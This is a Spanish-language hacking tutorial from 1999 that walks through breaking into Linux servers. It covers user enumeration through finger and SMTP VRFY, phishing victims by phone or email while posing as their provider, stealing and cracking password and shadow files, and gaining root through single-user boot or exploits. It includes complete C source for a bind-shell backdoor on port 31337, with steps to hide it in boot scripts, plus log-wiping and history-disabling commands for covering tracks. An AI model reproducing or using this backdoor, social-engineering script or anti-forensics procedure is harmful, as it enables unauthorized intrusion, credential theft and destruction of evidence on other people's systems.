|
Como hackear Linux
Autor: Jackal
Versión: 1.0 revisada 1999
Espero comentarios. Si teneis algo que mejorar, criticar, etc.. envíame un
email.
NOTA: este texto esta creado con fines puramente educativos.
¿Por qué Linux y no NT o SunOS?
Muy sencillo, Linux esta avanzando muchísimo y hoy por hoy, según estudios
realizados por revistas y empresas especializadas es el Sistema Operativo (SO a
partir de ahora) más usado en la instalación de Servidores de INTERNET.
Ahora, en 1999 el crecimiento de usuarios de Linux a crecido pero las razones de
su uso son muchas y muy diversos. Yo llegaría a equipararlo con el movimiento
Hippie de los 60. Revolucionario, el software libre, el control total del
sistema son sus bazas, pero no todo va a ser tan bonito, linux es un muy buen
sistema operativo, pero como todo,tiene fallos.
En el texto voy a explicar, o intentarlo, algunos metodos para conseguir hackear
un sistema linux.
Sacando toda la informacion posible de la maquina.
Cuanto más se sepa de la máquina, mejor y más fácil sería todo. En
definitiva se trata de obtener las versiones de sus daemons,como pueden ser
ftp,sendmail,etc, los puertos que tiene abiertos y toda informacion que nos
pueda ser util.
Para conseguir las versiones de los demonios se accede al puerto en cuestion, y
normalmente solo con eso se nos muestra una linea o dos con informacion.
Aquí tienes una lista de los puerto. Creo que están todos o casi todos.
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
qotd 17/udp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/tcp nameserver
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp nameserver # name-domain server
domain 53/udp nameserver
nameserver 53/tcp domain # name-domain server
nameserver 53/udp domain
mtp 57/tcp # deprecated
bootp 67/udp # boot program server
tftp 69/udp
rje 77/tcp netrjs
finger 79/tcp
link 87/tcp ttylink
supdup 95/tcp
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp
dictionary 103/tcp webster
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop 109/tcp postoffice
pop2 109/tcp # Post Office
pop3 110/tcp postoffice
portmap 111/tcp
portmap 111/udp
sunrpc 111/tcp
sunrpc 111/udp
auth 113/tcp authentication
sftp 115/tcp
path 117/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/udp ntpd ntp # network time protocol (exp)
nbname 137/udp
nbdatagram 138/udp
nbsession 139/tcp
NeWS 144/tcp news
sgmp 153/udp sgmp
tcprepo 158/tcp repository # PCMAIL
snmp 161/udp snmp
snmp-trap 162/udp snmp
print-srv 170/tcp # network PostScript
vmnet 175/tcp
load 315/udp
vmnet0 400/tcp
sytek 500/udp
biff 512/udp comsat
exec 512/tcp
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
syslog 514/udp
printer 515/tcp spooler # line printer spooler
talk 517/udp
ntalk 518/udp
efs 520/tcp # for LucasFilm
route 520/udp router routed
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc
conference 531/tcp chat
rvd-control 531/udp MIT disk
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # uucp daemon
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
garcon 600/tcp
maitrd 601/tcp
busboy 602/tcp
acctmaster 700/udp
acctslave 701/udp
acct 702/udp
acctlogin 703/udp
acctprinter 704/udp
elcsd 704/udp # errlog
acctinfo 705/udp
acctslave2 706/udp
acctdisk 707/udp
kerberos 750/tcp kdc # Kerberos authentication--tcp
kerberos 750/udp kdc # Kerberos authentication--udp
kerberos_master 751/tcp # Kerberos authentication
kerberos_master 751/udp # Kerberos authentication
passwd_server 752/udp # Kerberos passwd server
userreg_server 753/udp # Kerberos userreg server
krb_prop 754/tcp # Kerberos slave propagation
erlogin 888/tcp # Login and environment passing
kpop 1109/tcp # Pop with Kerberos
phone 1167/udp
ingreslock 1524/tcp
maze 1666/udp
nfs 2049/udp # sun nfs
knetd 2053/tcp # Kerberos de-multiplexor
eklogin 2105/tcp # Kerberos encrypted rlogin
rmt 5555/tcp rmtd
mtb 5556/tcp mtbd # mtb backup
man 9535/tcp # remote man server
w 9536/tcp
mantst 9537/tcp # remote man server, testing
bnews 10000/tcp
rscs0 10000/udp
queue 10001/tcp
rscs1 10001/udp
poker 10002/tcp
rscs2 10002/udp
gateway 10003/tcp
rscs3 10003/udp
remp 10004/tcp
rscs4 10004/udp
rscs5 10005/udp
rscs6 10006/udp
rscs7 10007/udp
rscs8 10008/udp
rscs9 10009/udp
rscsa 10010/udp
rscsb 10011/udp
qmaster 10012/tcp
qmaster 10012/udp
Los puertos realmente importantes son: ftp(21), telnet(23), sendmail(25),
finger(79), http(80), pop(110) y imap(143).
Estos son los que mas usaremos a la hora de hackear.Para sacar informacion de
cada uno de ellos basta con ir haciendo telnets uno por uno.
telnet maquina.com 21 --> te dice la version del ftp
telnet maquina.com 23 --> te dice la version del sistema operativo
Aunque no este explicado, estos comandos son de telnet, es decir, de esa
utilidad que habre una consola remota del sistema.
Otra cosa interesante es hacer un scaneo de puertos a la máquina. La mayoría
de script de mirc tienen esas opciones, concretamente yo probé el irCap y ese
si lo tenía. Para los que usan otros sistemas operativos, Linux por ejemplo,
solo hayque pasarse por cualquier página de hackers y encontrar el programa
adecuado.
Utilización de otros puertos distintos al telnet
El puerto del finger(79) se usa para conseguir informacion de los usuarios de
esa maquina. Se usa simplemente con:
telnet maquina.com 79 -->te dice los usuarios conectados
Si obteneis una respuesta como:
"telnet: Unable to connect to remote host: Connection refused"
Es que o tiene activado un firewall, en español cortafuegos, o tiene cerrado el
puerto del finger. Si se conecta sin problemas, simplemen tetecleando un nombre
de usuario conseguireis informacion sobre el.
No os preocupeis si lo que escribais no sale en pantalla, es porque tiene el eco
redireccionado a una salida nula. Si por ejemplo tecleais "victima", y
resulta que alguien tiene ese nombre de usuario (login), os saldra algo como
esto:
Red Hat Linux released 6.0 (Hewing)
Kernel 2.2.9 on a i586
Login: victima
Name: Nombre completo
Directory: /home/victima
Shell: /bin/bash
Last login Sun May 10 22:11 (CEST) on tty3
No mail.
No Plan.
Como veis, ya teneis mucha información de una posible victima. Ya solo queda
hecharle imaginación.
Puedes buscar en la guía telefónica su número de reléfono, decirle que eres
del servidor de internet que tiene contratado y que necesitas hacer una serie de
comprobaciones. A continuación le pides la pass para asegurarnos que es él y
no una equivocación de alguien que quiere engañarnos, y listo, ya tienes su
login y su pass.
Otra opción es enviarle un mail haciendonos pasar por el root del sistema y
pidiendo su password con la misma excusa, pero esto esta muy visto. Yo
particularmente, y continuando el fin educativo de este mail, no doy mi pass ni
por emilio ni por teléfono, y muy raras veces o casi ninguna en persona. Las
claves son mias y solo mías, y el root no necesita saberla, el puede hacer con
mi cuenta lo que quiera sin saber mi pasword.
Dicho esto, continuamos con la técnica.
Se puede usar sendmail (25) para conseguirse un resultado similar. La cuestion
es que muchos proovedores de internet (por lo menos en españa), en vez de usar
un servidor para correo entrante (pop-110) y otro para correo saliente (smtp-25)
usan uno solo para las dos cosas, y si usan dos pues en el de correo entrante
dejan abierto el puerto de smtp. Pues bien, si haceis un telnet al servidor de
correo entrante al puerto 25, y luego usais el comando vrfy para verificar si
existe un usuario en cuestion muchas veces os devolvera el nombre del usuario
completo.
Ejemplo:
Un tio tiene de mail victima@servidor.es
Pues poneis:
telnet pop.servidor.es 25
Una vez este el puerto abierto, tecleamos el siguiente comando
vrfy victima
y os devolvera algo como:
Nombre de la victima victima@servidor.es
Bueno, siguiendo la tónica de antes, si buscamos en la guía o demás, la
imaginación al vuelo.
Conseguir una cuenta de usuario del sistema
¿En qué consiste eso de conseguir cuentas? muy sencillo, nuestro sistema Linux
se encuentra formado por una serie de usuarios que están accediendo al servidor,
tienen su espacio web y su dirección de correo electrónico.
En la siguiente sección comentaremos un poco como es el fichero más perseguido
de todos los servidores, el etc/passwd y veremos las cuentas de usuarios que
tenemos.
El fichero /etc/passwd
Una vez que tienes una cuenta lo siguiente es conseguir el fichero de pass de
los uruarios. Normalmente esta en /etc/passwd, pero puede estar shadow, estando
entonces lo importante en /etc/shadow.
Normalmente los sistemas linux no se preocupan por quien mira los passwords de
los usuarios encriptados (por algo estan encriptados), o sea que el fichero
/etc/passwd que es donde se guardan los pass es visible para todo el mundo. En
cambio hay sitios donde la seguridad ya es mas necesaria y el archivo con los
pass no es visible para todo el mundo, es entonces cuando se dice que esta
shadow.
¿Te preguntarás para qué necesitas el fichero /etc/passwd? muy sencillo,
porque de nada nos sirve la cuenta de usuario que tenemos pues la que de verdad
necesitamos es la de root.
¿Por qué?, pues porque el root es el único que gestiona todo, mail, cuentas
de usuarios, puertos habiertos, instalación de programas, etc... por eso se
dice que en Linux/Unix el virus es prácticamente inexistente, porque el root
controla todo.
Vamos a analizar una linea del /etc/passwd de un sistema que no este shadow:
jackal:x2rFys28wHAAy:501:508:Juan Antonio:/home/jackal:/bin/bash
jackal --> este es el nombre de usuario (login)
x2rFys28wHAAy --> password encryptado
501 --> este es el uid del usuario
508 --> este es el grupo al que pertenece (gid)
Juan Antonio --> nombre completo del usuario
/home/jackal --> directorio home de jose
/bin/bash --> shell de jose
Lo de 501 y 508 sirve para identificar al usuario y a su grupo, ya que linux por
ejemplo no lo identificara por jackal sino por 503, por lo tanto cualquier
usuario con uid igual a 503 sera como si fuera a todos los efectos jackal. El
root siempre tendra el uid igual a 0
Lo que mas nos interesa es el password.
Unix/Linux usa un sistema de encriptación prácticamente imposible de descifrar.
Si a eso unimos la táctica de Linux/Unix de no guardar en ningún sitio la
lista de passwords pues se suma a la inmensa lista de ventajas.
Os preguntareis entonces ¿como sabe si la pass es correcta?, pues muy sencillo
de explicar, Linux pide al usuario el login y el pass.
Red Hat Linux released 6.0 (Hewing)
Kernel 2.2.9 on a i586
jackalhost login: tecleamos el login jackal
Passwd: ********
Una vez aquí, el sistema coge esa clave ********** y la encripta con el
algortimo que tiene. Y la salida la compara con la existente en el fichero /etc/passwd
y en la linea correspondiente a jackal:x2rFys28wHAAy...... si coincide la que el
encriptó con la que existe, todo solucionado, login aceptado y entrada al
sistema.
Pero, podríais pensar que simplemente accediendo al fichero /etc/passwd podríamos
borrar la parte de la clave y dejarla en blanco. A mi también se me ocurrió,
pero seguimos teniendo presente la presencia de ese root. El fichero /etc/passwd
y muchos más solo pueden ser escritos y reeditados por el root y solo el y los
pertenecientes al grupo root pueden hacerlo.
Eso de decir pertenecientes, viene porque la posibilidad de tener varios
administradores del sistema es posible en Unix/Linux, simplemente incluyendo las
cuentas que tendrán esos privilegios y serán root.
No es conveniente hacer esto pues el root se dará cuenta enseguida si tiene
alguien en su grupo, y mucho más rapido si no tenía a nadie y el era solo el
único.
En la red existen multitud de crackeadores de passwords que se encargan de
genera mediante un diccionario de palabras todas las conbinaciones posibles y
encriptarlas con el sistema de encriptación del sistema Unix/Linux. Estos
programas sacan en un fichero de texto todas las palabras que encriptadas
coincidian con la pass de la linea que queríamos. Digo línea por que el metodo
es el siguiente:
Bajo del servidor el fichero /etc/passwd
A continuación observo y decido que la linea que quiero crackear es la 1 que
tiene la cuenta de root.
Se llama al programa:
programa line 1 fichero_destino
En el fichero destino se habrá escrito una infinidad de palabras que coincidian
al encriptarse con la del usuario......en casi todos sus caracteres.
Lo que pasa es que hay veces en los que conseguir el fichero de pass no es
tansencillo. Puede estar shadow por ejemplo, o no tener acceso al directorio
donde se encuentre. Si el fichero esta shadow, en /etc/passwd las lineas seran
algo como:
jackal:x:501:508:Juan Antonio Pérez:/home/jackal:/bin/bash
Entonces lo que falta, el pass, se encuentra encriptado en /etc/shadow, pero con
permisos solo de lectura y escritura para el root para no variar, de forma que
nosotros no podremos leerlo.
Aqui es donde estra la técnica. Hay varias formas de conseguir el fichero, como
por ejemplo con variasllamadas a getpwent.
El programa que a continuación pongo sirve para los dos casos, que no tengamos
acceso al directorio o al /etc/passwd, o que este shadow.
Para ejecutarlo se puede poner........ "./conseguirpass >nombrefichero"
y luego ese nombrefichero se baja por ftp.
Ese >nombrefichero significa que el fichero generado se crea en nombrefichero
y tiene las pass completas (encriptadas claro) del fichero etc/passwd o shadow.
El programa no es mio, sino que lo saque de internet, no recuerdo de donde pero....
funciona ;).
Por fin lo más perseguido: el acceso como "root"
Depués de haber hecho todo esto, tienes en tu poder una cuenta de usuario y ya
solo te queda conseguir la clave de "root" y hackear el sistema.
Recuerda que root es el administrador del sistema y que tiene permiso para hacer
TODO. Yo suelo pensar además que el "root" es muy listo y que no
debemos de confiarnos de nada. Si crees que eres un experto por haber hecho esto,
espera a ver de lo que es capaz el "root" cuando te descubra y lo que
puede saber sobre sistemas informáticos y protección del sistema.
El root normalmente tendrá experiencia y habrá tendido muchas trampas. Yo
particularmente he visto como con un firewal bien programado por uno, es capaz
de hacerte creer que estas viendo el fichero /etc/passwd pero en realidad estas
en el directorio /caiste/novato/etc/passwd y este fichero esta llenito de login
y pass y fáciles de encontrar las claves, con eso de las claves más usadas por
los "root" hasta hace poco , Dios, Jefe, etc... incluso con el nombre
propio de los mismos.
Antes de intentar hacer nada recomiendo que hagais un "who" para ver
si el root esta conectado, ya que si haceis cosas raras y esta delante del
ordenata pues a lo mejor se mosquea y se acabo el juego, pues seguro que sabrás
como joderte a tí antes que tu a él y te cortará el acceso a todo y encima,
cogerá tu ip, llamará a tu servidor, pedirá información tuya y ... dejemoslo
vale.
Si se tiene acceso fisico al ordenador, y tiene el Lilo (linux loader) instalado
pues es muy sencillo. Basta con poner en el prompt al arrancar el sistema:
LILO boot: linux single
y te carga el linux normalmente solo que con shell de root y sin pedir ni login,
ni pass, ni nada. Supongo que si en vez de "linux", lo tienes
configurado para que arranque con la palabra "redhat" pues seria
"redhat single".
Si no tienes acceso físico a la maquina (lo mas normal), tendrás que
aprovechar algun fallo (bug) de la distribucion, o un xploit.
Los xploits sirven para explotar los bugs del sistema (la misma palabra lo
dice), ya que por ejemplo para sobreescribir un buffer no los vas a hacer
tecleando desde el shell, sino que lo hace un un programita en C. Hay muchisimos
bugs y exploits circulando por ahi asi que , !a buscar!........
Por cierto,si alguien no lo sabia, los archivos en C se compilan con cc -o
fichero fichero.c, siendo fichero el ejecutable y fichero.c el codigo fuente, y
tienes que subir el xploit por ftp a la maquina y luego compilarlo en ella.
Ahorrandonos repetir todo el proceso: Puertas Traseras
Estaría bueno que tuvieramos que repetir todo el proceso cada semanita que
queramos hacer algo en ese servidor. Pues si, además puede que el root se haya
dado cuenta de algo raro y cambie la pass, por lo que el proceso sería una auténtica
experiencia, eso sí, serías capaz de acerlo a la tercera vez con cualquier
sistema con los hojos cerrados, pero amigo mío, en informática hay dos cosas
inportantes que he aprendido en la carrera: el algoritmo de divide y vencerás y
la modularidad. A esto último me ceñiré. Si alguien es capaz de hacer un
modulo que haga cálculos matemáticos, para que voy a molestarme en programar
uno quehaga exactamente lo mismo si ya esta hecho. Pues algo parecido , si ya lo
hice una vez, aprovecho que estuve y dejo una puertecita abierta para cuando
quiera volver.
Lo mas comodo es instalar una "backdoor" o puerta trasera. Una puerta
trasera es una manera de entrar en un sistema de forma que nadie se entere de
que has entrado, sin logs ni rollazos, y consiguiendo el root al momento.
Por supuesto para instalar una tienes que haber conseguido el root anteriormente.
Normalmente se instalan sobreescribiendo un fichero del sistema por uno
modificado, es decir,un troyano. Por ejemplo, sobreescribes el /bin/login por
uno que te deje entrar con un login: pass que definas tu y sin dejar ningun log.
Hay por ahi bastantes troyanos del login, pero todos tienen un defecto, ¿que
pasa si el passwd esta shadow?
Otro metodo consiste en crear un puerto en la maquina con un numero raro y que
al hacer un telnet a ese puerto te de una shell de root sin pass y sin logs.
Este programa crea un puerto que tu le digas (lo defines en PORT), y al conectar
con ese puerto ejecuta el /bin/sh con privilegios del que ejecuto el programa.
Es decir que si lo ejecuto el root tiene privilegios de root, si lo ejecuto pepe
tiene privilegios de pepe,etc.
Para instalarlo tienes que compilarlo con cc -o file file.c, y luego lo instalas
ejecutandolo simplemente con ./file.
Luego desde tu casa haces un "telnet maquina 31337" o el que sea y ya
estas dentro. Para ejecutar comandos tienes que poner siempre ;, es decir "ls;","who;",etc.
y para desconectarte hay que poner "exit;".
Otra ventaja es que el root una vez terminado esta ejecución no sabrá que
estuvisteis pues no se guardará en ningun sitio la presencia de ejecución de
este programa.
---------- comienzo -----------
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org */
/* don't forget.. when you connect to the port.. commands are like: */
/* "ls -l;" or "exit;" (don't forget the ';') */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *)
&serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0)
exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0);
soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len =
sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len);
if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork();
if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); }
close(soc_cli);}}
---------- final ----------
Pero que pasa si el root resetea ? Pues que el programa se cierra, evidentemente.
Para ello yo recomiendo copiar el programa ya compilado a /etc/rc.d/init.d/ con
un nombre como stoke, o alguno que no suene raro.
Luego editais el fichero /etc/rc.d/rc y en mitad del fichero para que no cante
mucho le añadis la linea /etc/rc.d/init.d/stoke.
Asi si se resetea el ordenata no importa porque arrancara el programa de nuevo
con privilegios de root.
Algo IMPORTANTE: no dejar huellas
En el sistema operativo windows no suele dejar ningún log , solo Win NT.
Los unicos log por los que te puedes preocupar es cuando tienes acceso fisico a
las webs, los logs del MIRC.
La solución es hacer un zaper, pequeño programa donde puedas poner esto
@ echo off
cls
del c:\Recycled\*.*
del c:\windows\temp\*.temp
del c:\windows\tempor~1\*.*
del c:\windows\recent\*:*
del c:\archiv~1\nestcape\navigator\cache\*.html
del c:\archiv~1\nestcape\navigator\cache\*.htm
del c:\archiv~1\nestcape\navigator\cache\*.gif
cls
exit
En Unix/Linux, si no borras todas las huellas que has ido dejando (que son
muchas) pueden pillarte con todas sus consecuencias.
Los ficheros de logs varian de un linux a otro, pero mas bien varian de
directorio, todo lo demas se mantiene.
Un encargado de grabar nuestros logs es elsyslog. Este es un demonio que guarda
diferentes tipos de logs como los usuarios que se conectaron,su ip,etc. Para ver
exactamente que logs guarda y en que ficheros puedes hacer:
cat /etc/syslog.conf
de esta forma veras exactamente que es lo que hace. Normalmente los guarda en /var/log,
y los mas importantes son messages, secure y xferlog.
Estos son ficheros de textos normales, por lo que modificarlos es muy sencillo.
Messages es un poco de todo, guarda los usuarios que se conectaron, su ip, etc..
Secure guarda solo las ips y los demonios que usaron, por ejemplo que 195.32.2.1
se conecto al ftp el 1 de mayo a las 2 de la tarde, pero no guarda los ficheros
que te bajaste ni nada. Y xferlog es un fichero solo del ftp, es decir guarda
conexiones, ficheros que te bajaste, etc.
Para borrarlo es muy sencillo.
Tu ip es 195.174.83.56 (bueno, tu host mejor dicho), para borrarla del /var/log/messages
se ejecuta
grep -v 195 /var/log/messages > mes
Ahora en el fichero mes tienes una copia del messages pero sin las lineas en las
que aparece 195, luego lo copias sobreescribiendo /var/log/messages.
Lo mismo con los otros ficheros antes comentado.
Pero todavia hay mas ficheros de logs. Por ejemplo el bash guarda una copia de
todos los comandos utilizados en el directorio home en un fichero llamado .bash_history.
Para evitarlo pon en mitad de una sesión
unset HISTFILE
ya que el log se actualiza cuando cierres la conexion. Es decir, si por ejemplo
te conectas y borras el .bash_history no te servira de nada, ya que los comandos
los escribe cuando te desconectes del server. En cambio si pones unset
HISTFILEno los escribira cuando desconectes.
Otros ficheros de logs importantes son:
Lastlog --> Se encuentra normalmente en /var/log/lastlog,y guarda cuando se
conecto por ultima vez un usuario y desde donde.
Wtmp --> Se encuentra normalmente en /var/log/wtmp, y guarda los nombres y
las ips de todos los usuarios que se conectaron alguna vez a la maquina.
Utmp --> Se encuentra normalmente en /var/run/utmp, y guarda los usuarios
quese encuentran conectados en ese momento a la maquina.
Muchos sistemas linux tienen 2 logs ademas de los tipicos "lastlog, utmp y
wtmp" que suelen ser "xferlog" y "messages", hasta la
fecha no he visto zapper alguno ke elimine nuestras huellas del xferlog y el
messages asi ke hay ke hazerlo a mano pues guardan la ip de todas las conexiones
telnet y ftp y la hora en que han sido efectuadas desde ese sistema o hacia el.
Estos ficheros xferlog y messages estan en modo texto y pueden ser editados
facilmente con el vi (editor de textos de Linux) pero el problema es que suelen
ocupar muchos megas y el vi no deja cargar remotamente un archivo tan grande.
Suelen estar en /var/log o /var/adm y para borrarlos no es bueno hazer un rm,
pues incluso probándolo en el ordenador propio, no borrará más de 50 líneas.
Para saber que tal puedes teclear lo siguiente:
$wc -l /var/log/messages
129300 /var/log/messages
$head -n 129250 /var/log/messages >prueba
$mv prueba /var/log/messages
La primera linea informa de cuantas lineas tiene el archivo messages,la segunda
linea le dice a linux que copie 129250 lineas del archivo /var/log/messages al
archivo prueba y luego sobreescribo el "messages" con "prueba"
que es identico al messages excepto que le faltan las 50 lineas del final que
nos delataban.
Sniffers
Un sniffer es un programa que se usa para conseguir mas password de otros sitios
a partir de una maquina que ya hayas hackeado y de la que tengas el control. Es
decir, una vez que eres root de un ordenador, ¿que te impide instalar un
programa que grabe en un log el principio de las sesiones de ftp y telnet (u
otros) que se abran desde esa maquina? Por ejemplo, que grabe las 10 primeras
lineas de todas las sesiones de unos determinados puertos. Como es logico entre
esas diez lineas iran el login y el password, por lo que podras conseguir
cuentas de otros ordenadores facilmente. Pues bien, eso es lo que hace un
sniffer.
Me falto decir que el sniffer solo funciona si tienes el ordenador conectado en
red a traves de una tarjeta ethernet. Es decir,que si consigues hackear el
ordenador de un colega, no le pongas un sniffer porque (a no ser que lo tenga
conectado en red, claro) no te servira de nada, igualmente que si lo intentas
instalar en tu propia maquina.
© Jackal 1999
Los programas no han sido programados por el autor.
|